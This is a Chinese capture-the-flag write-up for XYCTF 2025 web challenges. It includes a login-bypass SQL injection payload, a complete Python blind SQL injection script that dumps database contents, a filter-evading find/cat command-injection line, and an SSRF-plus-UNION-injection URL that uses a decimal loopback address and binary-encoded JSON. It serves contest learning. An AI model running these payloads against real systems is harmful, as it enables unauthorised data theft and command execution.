xyctf2025
web
ezsql(手动滑稽)
到登录界面
简单测试得到以下字符被拦截
字符: '\n' 字符: '\x0b' 字符: '\x0c' 字符: '\r' 字符: ' ' 字符: '*' 字符: '+' 字符: ',' 字符: '-' 字符: '|'
测试万能钥匙并简单将空格替换为%09
username=admin'%09OR%09'1'%09=%09'1'%23%09&password=123
可以发现注入点在这里username=admin'
测试其它方法的回显都不行
确认为真可以跳转到doublecheck.php
采取布尔盲注入
写的时候发现AND
也被过滤了
import requests
TARGET_URL = "http://eci-2ze3awa74o1tyqme7p6w.cloudeci1.ichunqiu.com/"
SUCCESS_PATH = "doublecheck.php"
HEADERS = {"User-Agent": "Mozilla/5.0"}
def is_true_condition(payload):
data = {"username": payload, "password": "123"}
try:
resp = requests.post(
TARGET_URL, data=data, headers=HEADERS, allow_redirects=False, timeout=5
)
except requests.exceptions.RequestException:
return False
if resp.status_code == 302 and "Location" in resp.headers:
return SUCCESS_PATH in resp.headers["Location"]
return False
def blind_get_length(sql_expr, max_length=200):
for length_guess in range(1, max_length + 1):
payload = f"admin'\tOR\tlength({sql_expr})={length_guess}\t#\t"
if is_true_condition(payload):
return length_guess
return 0
def blind_get_string(sql_expr, str_length):
result = []
for pos in range(1, str_length + 1):
for ascii_code in range(32, 127):
payload = f"admin'\tOR\tascii(substring({sql_expr}\tfrom\t{pos}\tfor\t1))={ascii_code}\t#\t"
if is_true_condition(payload):
result.append(chr(ascii_code))
break
else:
result.append("?")
return "".join(result)
def get_database_name():
db_len = blind_get_length("database()", 50)
return blind_get_string("database()", db_len) if db_len else ""
def get_table_list(db_name):
sql_expr = f"(SELECT\tGROUP_CONCAT(table_name\tSEPARATOR\t':')\tFROM\tinformation_schema.tables\tWHERE\ttable_schema='{db_name}')"
length = blind_get_length(sql_expr, 1000)
if length == 0:
return []
tables_str = blind_get_string(sql_expr, length)
return tables_str.split(":")
def get_column_list(db_name, table_name):
sql_expr = (
f"(SELECT\tGROUP_CONCAT(column_name\tSEPARATOR\t':')"
f"\tFROM\tinformation_schema.columns"
f"\tWHERE\ttable_schema='{db_name}'\tOR\ttable_name='{table_name}')"
)
length = blind_get_length(sql_expr, 2000)
if length == 0:
return []
cols_str = blind_get_string(sql_expr, length)
col_list = cols_str.split(":")
print(f"[+] 表[{table_name}]的列: {col_list}")
return col_list
def get_single_cell_value(db, table, column, row_index):
sql_expr = f"(SELECT\t{column}\tFROM\t{db}.{table}\tLIMIT\t1\tOFFSET\t{row_index})"
length = blind_get_length(sql_expr, 100)
return blind_get_string(sql_expr, length) if length else ""
def get_table_data(db_name, table_name, col_list, limit=3):
for row_index in range(limit):
row = []
for col in col_list:
row.append(get_single_cell_value(db_name, table_name, col, row_index))
print(f"第 {row_index + 1} 行数据:{row}")
def main():
db_name = get_database_name()
if not db_name:
return
print(f"当前数据库名: {db_name}")
tables = get_table_list(db_name)
if not tables:
return
print(f"表: {tables}")
for t in tables:
if not t:
continue
cols = get_column_list(db_name, t)
get_table_data(db_name, t, cols, limit=3)
if __name__ == "__main__":
main()
库名testdb
表: ['double_check', 'user']
列: ['secret', 'username', 'password']
数据:['dtfrtkcc0czkoua9S', 'yudeyoushang', 'zhonghengyisheng']
按照填入进入到命令执行
对空格,echo
,bash
,php
都有过滤
不过有find
和写权限,因此
find${IFS}/${IFS}-type${IFS}f${IFS}-name${IFS}'fl*'${IFS}-exec${IFS}cat${IFS}{}${IFS}\;${IFS}>flag
然后/flag
下载下来就有
XYCTF{f635b051-39fa-4a6b-a798-b048cceef9d9}
ez_puzzle
看到纯前端js
格式化后玩一下,发现结束会弹弹窗,带确认框,考虑为alert()
应该是这,对调一下覆盖原js
之后玩玩
flag{Y0u__aRe_a_mAsteR_of_PUzZL!!@!!~!}
Fate
flag
在sql
里面
import sqlite3
conn = sqlite3.connect("database.db")
conn.execute("""CREATE TABLE FATETABLE (
NAME TEXT NOT NULL,
FATE TEXT NOT NULL
);""")
Fate = [
('JOHN', '1994-2030 Dead in a car accident'),
('JANE', '1990-2025 Lost in a fire'),
('SARAH', '1982-2017 Fired by a government official'),
('DANIEL', '1978-2013 Murdered by a police officer'),
('LUKE', '1974-2010 Assassinated by a military officer'),
('KAREN', '1970-2006 Fallen from a cliff'),
('BRIAN', '1966-2002 Drowned in a river'),
('ANNA', '1962-1998 Killed by a bomb'),
('JACOB', '1954-1990 Lost in a plane crash'),
('LAMENTXU', r'2024 Send you a flag flag{FAKE}')
]
conn.executemany("INSERT INTO FATETABLE VALUES (?, ?)", Fate)
conn.commit()
conn.close()
分析源码发现读取/1337
只允许在内网被访问
@app.route('/proxy', methods=['GET'])
def nolettersproxy():
url = flask.request.args.get('url')
if not url:
return flask.abort(400, 'No URL provided')
target_url = "http://lamentxu.top" + url
for i in blacklist:
if i in url:
return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~')
if "." in url:
return flask.abort(403, 'No ssrf allowed')
response = requests.get(target_url)
return flask.Response(response.content, response.status_code)
def db_search(code):
with sqlite3.connect('database.db') as conn:
cur = conn.cursor()
cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))))")
found = cur.fetchone()
return None if found is None else found[0]
先通过/proxy
路由可以拼接访问,用@
可以屏蔽前面的http://lamentxu.top
,然后禁止了.
,就将ip
以10进制
访问
def db_search(code):
with sqlite3.connect('database.db') as conn:
cur = conn.cursor()
cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))))")
found = cur.fetchone()
return None if found is None else found[0]
@app.route('/1337', methods=['GET'])
def api_search():
if flask.request.remote_addr == '127.0.0.1':
code = flask.request.args.get('0')
if code == 'abcdefghi':
req = flask.request.args.get('1')
try:
req = binary_to_string(req)
print(req)
req = json.loads(req) # No one can hack it, right? Pickle unserialize is not secure, but json is ;)
except:
flask.abort(400, "Invalid JSON")
if 'name' not in req:
flask.abort(400, "Empty Person's name")
name = req['name']
if len(name) > 6:
flask.abort(400, "Too long")
if '\'' in name:
flask.abort(400, "NO '")
if ')' in name:
flask.abort(400, "NO )")
"""
Some waf hidden here ;)
"""
fate = db_search(name)
if fate is None:
flask.abort(404, "No such Person")
return {'Fate': fate}
else:
flask.abort(400, "Hello local, and hello hacker")
else:
flask.abort(403, "Only local access allowed")
随后访问/1337
通过,要先0
通过if code == 'abcdefghi':
但是前面已经限制了字母,就通过二次url编码绕过(可以在第二次转发会再解码一次)
1
则是要求编码为二进制
if len(name) > 6:
flask.abort(400, "Too long")
if '\'' in name:
flask.abort(400, "NO '")
if ')' in name:
flask.abort(400, "NO )")
len(dict)
可以把内容包裹成字典绕过,但是就没法直接查询获得flag了,于是看向构造
SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))))
先闭合前面的'
然后闭合)
通过UNION SELECT FATE FROM FATETABLE WHERE NAME='LAMENTXU'
查询返回,最后--
截断后面的
最后构造为
/proxy?url=@2130706433:8080/1337?0=%25%36%31%25%36%32%25%36%33%25%36%34%25%36%35%25%36%36%25%36%37%25%36%38%25%36%39%261=011110110010001001101110011000010110110101100101001000100011101001111011001000100010011100101001001010010010100100101001001010010010100100101001001000000101010101001110010010010100111101001110001000000101001101000101010011000100010101000011010101000010000001000110010000010101010001000101001000000100011001010010010011110100110100100000010001100100000101010100010001010101010001000001010000100100110001000101001000000101011101001000010001010101001001000101001000000100111001000001010011010100010100111101001001110100110001000001010011010100010101001110010101000101100001010101001001110010000000101101001011010010001000111010001100010111110101111101
Comments NOTHING